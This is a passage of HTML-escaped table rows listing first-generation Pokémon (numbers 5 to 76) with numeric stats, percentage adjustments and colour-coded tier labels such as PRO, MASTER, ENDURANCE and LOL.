            &lt;td&gt;1484&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;6&lt;/td&gt;
            &lt;td&gt;Charizard&lt;/td&gt;
            &lt;td&gt;2602&lt;/td&gt;
            &lt;td&gt;3.24&lt;/td&gt;
            &lt;td&gt;2686&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;7&lt;/td&gt;
            &lt;td&gt;Squirtle&lt;/td&gt;
            &lt;td&gt;1009&lt;/td&gt;
            &lt;td&gt;-19.83&lt;/td&gt;
            &lt;td&gt;809&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;8&lt;/td&gt;
            &lt;td&gt;Wartortle&lt;/td&gt;
            &lt;td&gt;1583&lt;/td&gt;
            &lt;td&gt;-16.34&lt;/td&gt;
            &lt;td&gt;1324&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;9&lt;/td&gt;
            &lt;td&gt;Blastoise&lt;/td&gt;
            &lt;td&gt;2542&lt;/td&gt;
            &lt;td&gt;-9.84&lt;/td&gt;
            &lt;td&gt;2292&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;10&lt;/td&gt;
            &lt;td&gt;Caterpie&lt;/td&gt;
            &lt;td&gt;444&lt;/td&gt;
            &lt;td&gt;-11.36&lt;/td&gt;
            &lt;td&gt;394&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;11&lt;/td&gt;
            &lt;td&gt;Metapod&lt;/td&gt;
            &lt;td&gt;478&lt;/td&gt;
            &lt;td&gt;-12.21&lt;/td&gt;
            &lt;td&gt;420&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;12&lt;/td&gt;
            &lt;td&gt;Butterfree&lt;/td&gt;
            &lt;td&gt;1455&lt;/td&gt;
            &lt;td&gt;16.96&lt;/td&gt;
            &lt;td&gt;1702&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;13&lt;/td&gt;
            &lt;td&gt;Weedle&lt;/td&gt;
            &lt;td&gt;449&lt;/td&gt;
            &lt;td&gt;-11.54&lt;/td&gt;
            &lt;td&gt;397&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;14&lt;/td&gt;
            &lt;td&gt;Kakuna&lt;/td&gt;
            &lt;td&gt;485&lt;/td&gt;
            &lt;td&gt;-19.16&lt;/td&gt;
            &lt;td&gt;392&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;15&lt;/td&gt;
            &lt;td&gt;Beedrill&lt;/td&gt;
            &lt;td&gt;1440&lt;/td&gt;
            &lt;td&gt;23.45&lt;/td&gt;
            &lt;td&gt;1778&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;16&lt;/td&gt;
            &lt;td&gt;Pidgey&lt;/td&gt;
            &lt;td&gt;680&lt;/td&gt;
            &lt;td&gt;-14.59&lt;/td&gt;
            &lt;td&gt;581&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;17&lt;/td&gt;
            &lt;td&gt;Pidgeotto&lt;/td&gt;
            &lt;td&gt;1224&lt;/td&gt;
            &lt;td&gt;-11.3&lt;/td&gt;
            &lt;td&gt;1086&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;18&lt;/td&gt;
            &lt;td&gt;Pidgeot&lt;/td&gt;
            &lt;td&gt;2091&lt;/td&gt;
            &lt;td&gt;-4.63&lt;/td&gt;
            &lt;td&gt;1994&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;19&lt;/td&gt;
            &lt;td&gt;Rattata&lt;/td&gt;
            &lt;td&gt;582&lt;/td&gt;
            &lt;td&gt;1.17&lt;/td&gt;
            &lt;td&gt;589&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;20&lt;/td&gt;
            &lt;td&gt;Raticate&lt;/td&gt;
            &lt;td&gt;1444&lt;/td&gt;
            &lt;td&gt;7.31&lt;/td&gt;
            &lt;td&gt;1550&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;21&lt;/td&gt;
            &lt;td&gt;Spearow&lt;/td&gt;
            &lt;td&gt;687&lt;/td&gt;
            &lt;td&gt;-1.87&lt;/td&gt;
            &lt;td&gt;674&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;22&lt;/td&gt;
            &lt;td&gt;Fearow&lt;/td&gt;
            &lt;td&gt;1746&lt;/td&gt;
            &lt;td&gt;3.91&lt;/td&gt;
            &lt;td&gt;1814&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;23&lt;/td&gt;
            &lt;td&gt;Ekans&lt;/td&gt;
            &lt;td&gt;824&lt;/td&gt;
            &lt;td&gt;-5.53&lt;/td&gt;
            &lt;td&gt;778&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;24&lt;/td&gt;
            &lt;td&gt;Arbok&lt;/td&gt;
            &lt;td&gt;1767&lt;/td&gt;
            &lt;td&gt;-1.69&lt;/td&gt;
            &lt;td&gt;1737&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;25&lt;/td&gt;
            &lt;td&gt;Pikachu&lt;/td&gt;
            &lt;td&gt;888&lt;/td&gt;
            &lt;td&gt;-11.27&lt;/td&gt;
            &lt;td&gt;788&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;26&lt;/td&gt;
            &lt;td&gt;Raichu&lt;/td&gt;
            &lt;td&gt;2028&lt;/td&gt;
            &lt;td&gt;-0.16&lt;/td&gt;
            &lt;td&gt;2025&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;27&lt;/td&gt;
            &lt;td&gt;Sandshrew&lt;/td&gt;
            &lt;td&gt;799&lt;/td&gt;
            &lt;td&gt;49.55&lt;/td&gt;
            &lt;td&gt;1195&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;28&lt;/td&gt;
            &lt;td&gt;Sandslash&lt;/td&gt;
            &lt;td&gt;1810&lt;/td&gt;
            &lt;td&gt;28.61&lt;/td&gt;
            &lt;td&gt;2328&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;29&lt;/td&gt;
            &lt;td&gt;Nidoran♀&lt;/td&gt;
            &lt;td&gt;876&lt;/td&gt;
            &lt;td&gt;-15.95&lt;/td&gt;
            &lt;td&gt;736&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;30&lt;/td&gt;
            &lt;td&gt;Nidorina&lt;/td&gt;
            &lt;td&gt;1405&lt;/td&gt;
            &lt;td&gt;-13.23&lt;/td&gt;
            &lt;td&gt;1219&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;31&lt;/td&gt;
            &lt;td&gt;Nidoqueen&lt;/td&gt;
            &lt;td&gt;2485&lt;/td&gt;
            &lt;td&gt;-5.91&lt;/td&gt;
            &lt;td&gt;2338&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;32&lt;/td&gt;
            &lt;td&gt;Nidoran♂&lt;/td&gt;
            &lt;td&gt;843&lt;/td&gt;
            &lt;td&gt;-12.28&lt;/td&gt;
            &lt;td&gt;739&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;33&lt;/td&gt;
            &lt;td&gt;Nidorino&lt;/td&gt;
            &lt;td&gt;1373&lt;/td&gt;
            &lt;td&gt;-8.76&lt;/td&gt;
            &lt;td&gt;1253&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;34&lt;/td&gt;
            &lt;td&gt;Nidoking&lt;/td&gt;
            &lt;td&gt;2475&lt;/td&gt;
            &lt;td&gt;-3.58&lt;/td&gt;
            &lt;td&gt;2386&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;35&lt;/td&gt;
            &lt;td&gt;Clefairy&lt;/td&gt;
            &lt;td&gt;1201&lt;/td&gt;
            &lt;td&gt;-9.59&lt;/td&gt;
            &lt;td&gt;1086&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;36&lt;/td&gt;
            &lt;td&gt;Clefable&lt;/td&gt;
            &lt;td&gt;2398&lt;/td&gt;
            &lt;td&gt;-1.83&lt;/td&gt;
            &lt;td&gt;2354&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;37&lt;/td&gt;
            &lt;td&gt;Vulpix&lt;/td&gt;
            &lt;td&gt;831&lt;/td&gt;
            &lt;td&gt;-6.9&lt;/td&gt;
            &lt;td&gt;774&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;38&lt;/td&gt;
            &lt;td&gt;Ninetales&lt;/td&gt;
            &lt;td&gt;2188&lt;/td&gt;
            &lt;td&gt;-1.39&lt;/td&gt;
            &lt;td&gt;2158&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;39&lt;/td&gt;
            &lt;td&gt;Jigglypuff&lt;/td&gt;
            &lt;td&gt;918&lt;/td&gt;
            &lt;td&gt;-22.26&lt;/td&gt;
            &lt;td&gt;714&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;40&lt;/td&gt;
            &lt;td&gt;Wigglytuff&lt;/td&gt;
            &lt;td&gt;2177&lt;/td&gt;
            &lt;td&gt;-12.44&lt;/td&gt;
            &lt;td&gt;1906&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;41&lt;/td&gt;
            &lt;td&gt;Zubat&lt;/td&gt;
            &lt;td&gt;643&lt;/td&gt;
            &lt;td&gt;-11.42&lt;/td&gt;
            &lt;td&gt;570&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;42&lt;/td&gt;
            &lt;td&gt;Golbat&lt;/td&gt;
            &lt;td&gt;1921&lt;/td&gt;
            &lt;td&gt;-4.75&lt;/td&gt;
            &lt;td&gt;1830&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;43&lt;/td&gt;
            &lt;td&gt;Oddish&lt;/td&gt;
            &lt;td&gt;1148&lt;/td&gt;
            &lt;td&gt;-6.86&lt;/td&gt;
            &lt;td&gt;1069&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;44&lt;/td&gt;
            &lt;td&gt;Gloom&lt;/td&gt;
            &lt;td&gt;1689&lt;/td&gt;
            &lt;td&gt;-10.45&lt;/td&gt;
            &lt;td&gt;1512&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;45&lt;/td&gt;
            &lt;td&gt;Vileplume&lt;/td&gt;
            &lt;td&gt;2493&lt;/td&gt;
            &lt;td&gt;-5&lt;/td&gt;
            &lt;td&gt;2368&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;46&lt;/td&gt;
            &lt;td&gt;Paras&lt;/td&gt;
            &lt;td&gt;917&lt;/td&gt;
            &lt;td&gt;-8.78&lt;/td&gt;
            &lt;td&gt;836&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;47&lt;/td&gt;
            &lt;td&gt;Parasect&lt;/td&gt;
            &lt;td&gt;1747&lt;/td&gt;
            &lt;td&gt;-5.13&lt;/td&gt;
            &lt;td&gt;1657&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;48&lt;/td&gt;
            &lt;td&gt;Venonat&lt;/td&gt;
            &lt;td&gt;1029&lt;/td&gt;
            &lt;td&gt;-12.31&lt;/td&gt;
            &lt;td&gt;902&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;49&lt;/td&gt;
            &lt;td&gt;Venomoth&lt;/td&gt;
            &lt;td&gt;1890&lt;/td&gt;
            &lt;td&gt;2.51&lt;/td&gt;
            &lt;td&gt;1937&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ea9999&quot;&gt;
            &lt;td&gt;50&lt;/td&gt;
            &lt;td&gt;Diglett&lt;/td&gt;
            &lt;td&gt;457&lt;/td&gt;
            &lt;td&gt;1.81&lt;/td&gt;
            &lt;td&gt;465&lt;/td&gt;
            &lt;td&gt;LOL&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ea9999&quot;&gt;
            &lt;td&gt;51&lt;/td&gt;
            &lt;td&gt;Dugtrio&lt;/td&gt;
            &lt;td&gt;1169&lt;/td&gt;
            &lt;td&gt;14.15&lt;/td&gt;
            &lt;td&gt;1334&lt;/td&gt;
            &lt;td&gt;LOL&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;52&lt;/td&gt;
            &lt;td&gt;Meowth&lt;/td&gt;
            &lt;td&gt;756&lt;/td&gt;
            &lt;td&gt;-15.62&lt;/td&gt;
            &lt;td&gt;638&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;53&lt;/td&gt;
            &lt;td&gt;Persian&lt;/td&gt;
            &lt;td&gt;1632&lt;/td&gt;
            &lt;td&gt;-5.63&lt;/td&gt;
            &lt;td&gt;1540&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;54&lt;/td&gt;
            &lt;td&gt;Psyduck&lt;/td&gt;
            &lt;td&gt;1110&lt;/td&gt;
            &lt;td&gt;-12.87&lt;/td&gt;
            &lt;td&gt;967&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;55&lt;/td&gt;
            &lt;td&gt;Golduck&lt;/td&gt;
            &lt;td&gt;2387&lt;/td&gt;
            &lt;td&gt;-4.85&lt;/td&gt;
            &lt;td&gt;2271&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;56&lt;/td&gt;
            &lt;td&gt;Mankey&lt;/td&gt;
            &lt;td&gt;879&lt;/td&gt;
            &lt;td&gt;14.05&lt;/td&gt;
            &lt;td&gt;1002&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;57&lt;/td&gt;
            &lt;td&gt;Primeape&lt;/td&gt;
            &lt;td&gt;1865&lt;/td&gt;
            &lt;td&gt;12.92&lt;/td&gt;
            &lt;td&gt;2106&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;58&lt;/td&gt;
            &lt;td&gt;Growlithe&lt;/td&gt;
            &lt;td&gt;1335&lt;/td&gt;
            &lt;td&gt;-16.79&lt;/td&gt;
            &lt;td&gt;1111&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;59&lt;/td&gt;
            &lt;td&gt;Arcanine&lt;/td&gt;
            &lt;td&gt;2984&lt;/td&gt;
            &lt;td&gt;-4.84&lt;/td&gt;
            &lt;td&gt;2840&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;60&lt;/td&gt;
            &lt;td&gt;Poliwag&lt;/td&gt;
            &lt;td&gt;796&lt;/td&gt;
            &lt;td&gt;-12.62&lt;/td&gt;
            &lt;td&gt;696&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;61&lt;/td&gt;
            &lt;td&gt;Poliwhirl&lt;/td&gt;
            &lt;td&gt;1340&lt;/td&gt;
            &lt;td&gt;-2.03&lt;/td&gt;
            &lt;td&gt;1313&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;62&lt;/td&gt;
            &lt;td&gt;Poliwrath&lt;/td&gt;
            &lt;td&gt;2505&lt;/td&gt;
            &lt;td&gt;-2.53&lt;/td&gt;
            &lt;td&gt;2442&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;63&lt;/td&gt;
            &lt;td&gt;Abra&lt;/td&gt;
            &lt;td&gt;600&lt;/td&gt;
            &lt;td&gt;91.31&lt;/td&gt;
            &lt;td&gt;1148&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;64&lt;/td&gt;
            &lt;td&gt;Kadabra&lt;/td&gt;
            &lt;td&gt;1132&lt;/td&gt;
            &lt;td&gt;64.31&lt;/td&gt;
            &lt;td&gt;1860&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;65&lt;/td&gt;
            &lt;td&gt;Alakazam&lt;/td&gt;
            &lt;td&gt;1814&lt;/td&gt;
            &lt;td&gt;59.18&lt;/td&gt;
            &lt;td&gt;2888&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;66&lt;/td&gt;
            &lt;td&gt;Machop&lt;/td&gt;
            &lt;td&gt;1090&lt;/td&gt;
            &lt;td&gt;10.09&lt;/td&gt;
            &lt;td&gt;1200&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;67&lt;/td&gt;
            &lt;td&gt;Machoke&lt;/td&gt;
            &lt;td&gt;1761&lt;/td&gt;
            &lt;td&gt;8.49&lt;/td&gt;
            &lt;td&gt;1911&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;68&lt;/td&gt;
            &lt;td&gt;Machamp&lt;/td&gt;
            &lt;td&gt;2594&lt;/td&gt;
            &lt;td&gt;11.38&lt;/td&gt;
            &lt;td&gt;2889&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;69&lt;/td&gt;
            &lt;td&gt;Bellsprout&lt;/td&gt;
            &lt;td&gt;1117&lt;/td&gt;
            &lt;td&gt;-17.96&lt;/td&gt;
            &lt;td&gt;916&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;70&lt;/td&gt;
            &lt;td&gt;Weepinbell&lt;/td&gt;
            &lt;td&gt;1724&lt;/td&gt;
            &lt;td&gt;-14.43&lt;/td&gt;
            &lt;td&gt;1475&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;71&lt;/td&gt;
            &lt;td&gt;Victreebel&lt;/td&gt;
            &lt;td&gt;2531&lt;/td&gt;
            &lt;td&gt;-10.34&lt;/td&gt;
            &lt;td&gt;2269&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;72&lt;/td&gt;
            &lt;td&gt;Tentacool&lt;/td&gt;
            &lt;td&gt;905&lt;/td&gt;
            &lt;td&gt;5.72&lt;/td&gt;
            &lt;td&gt;957&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#6d9eeb&quot;&gt;
            &lt;td&gt;73&lt;/td&gt;
            &lt;td&gt;Tentacruel&lt;/td&gt;
            &lt;td&gt;2220&lt;/td&gt;
            &lt;td&gt;6.92&lt;/td&gt;
            &lt;td&gt;2374&lt;/td&gt;
            &lt;td&gt;MASTER&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#f6b26b&quot;&gt;
            &lt;td&gt;74&lt;/td&gt;
            &lt;td&gt;Geodude&lt;/td&gt;
            &lt;td&gt;849&lt;/td&gt;
            &lt;td&gt;40.55&lt;/td&gt;
            &lt;td&gt;1193&lt;/td&gt;
            &lt;td&gt;ENDURANCE&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;75&lt;/td&gt;
            &lt;td&gt;Graveler&lt;/td&gt;
            &lt;td&gt;1434&lt;/td&gt;
            &lt;td&gt;26.65&lt;/td&gt;
            &lt;td&gt;1816&lt;/td&gt;
            &lt;td&gt;PRO&lt;/td&gt;
        &lt;/tr&gt;
&lt;tr&gt;
        &lt;/tr&gt;
&lt;tr bgcolor=&quot;#ffff00&quot;&gt;
            &lt;td&gt;76&lt;/td&gt;
